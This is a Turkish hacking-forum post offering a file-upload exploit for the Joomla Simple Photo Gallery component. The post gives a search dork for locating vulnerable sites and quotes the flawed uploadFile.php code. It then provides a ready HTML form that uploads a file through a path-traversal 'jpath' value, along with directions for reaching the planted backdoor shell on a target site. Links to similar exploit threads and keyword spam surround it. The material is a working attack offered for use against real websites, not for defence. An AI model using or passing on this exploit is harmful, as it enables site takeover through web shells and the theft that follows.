Konuyu Oyla:
  • Derecelendirme: 5/5 - 1 oy
  • 1
  • 2
  • 3
  • 4
  • 5
Joomla Simple Photo Gallery Dosya Yükleme Açığı
#1




Dork =>
Kod:
inurl:com_simplephotogallery

Açığın kaynaklandığı Yer =>
Kod:
20.   $fieldName = 'uploadfile';
87.      $fileTemp = $_FILES[$fieldName]['tmp_name'];
94.         $uploadPath = urldecode($_REQUEST["jpath"]).$fileName;
96.      if(! move_uploaded_file($fileTemp, $uploadPath))

Dizin Yolu =>
Kod:
/administrator/components/com_simplephotogallery/lib/uploadFile.php

Açıklı Dosyanın Yolu =>
Kod:
uploadFile.php

Exploit =>
Kod:
<form method="POST" action="http://localhost/administrator/components/com_simplephotogallery/lib/uploadFile.php" enctype="multipart/form-data" >
    <input type="file" name="uploadfile"><br>
    <input type="text" name="jpath" value="..%2F..%2F..%2F..%2F" ><br>
    <input type="submit" name="Submit" value="Pwn!">
</form>

# Şelinizin ismini Backdoor_DOSYA.php (eg : backdoor__HERHANGİ BİR İSİM - SERVER KENDİSİ BELİRLIYOR.php)


şeklinde oluyor..

Shell Ulaşım Yolu =>

Kod:
http://HEDEFSITE/backdoor__[HERHANGİ RAKAM VE HARF].php
Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  Desenvolvido de Markcerto SQL Enjeksiyon Açığı KingSkrupellos 12 223 Dün, Saat: 20:37
Son Yorum: _Golge
  MyBB Forum usercp.php?action=avatar Açığı KingSkrupellos 232 12,002 07-12-2016, Saat: 07:32
Son Yorum: Efetimi
  WordPress TheAgency Teması Dosya Yükleme Açığı KingSkrupellos 11 195 05-12-2016, Saat: 18:42
Son Yorum: the_zizil
  UpL Image Board_2 Content Dosya Yükleme Açığı KingSkrupellos 5 111 04-12-2016, Saat: 12:21
Son Yorum: antisecureman
  Joomla Com_Cckjseblod Auto Exploiter FTP Config İndirme Exploit KingSkrupellos 12 243 01-12-2016, Saat: 08:35
Son Yorum: the_zizil
Anahtar Kelimeler

Joomla Simple Photo Gallery Dosya Yükleme Açığı indir, Joomla Simple Photo Gallery Dosya Yükleme Açığı Videosu, Joomla Simple Photo Gallery Dosya Yükleme Açığı Online izle, Joomla Simple Photo Gallery Dosya Yükleme Açığı Bedava indir, Joomla Simple Photo Gallery Dosya Yükleme Açığı Yükle, Joomla Simple Photo Gallery Dosya Yükleme Açığı Hakkında, Joomla Simple Photo Gallery Dosya Yükleme Açığı Nedir, Joomla Simple Photo Gallery Dosya Yükleme Açığı Free indir, Joomla Simple Photo Gallery Dosya Yükleme Açığı Oyunu, Joomla Simple Photo Gallery Dosya Yükleme Açığı Download


1 Ziyaretçi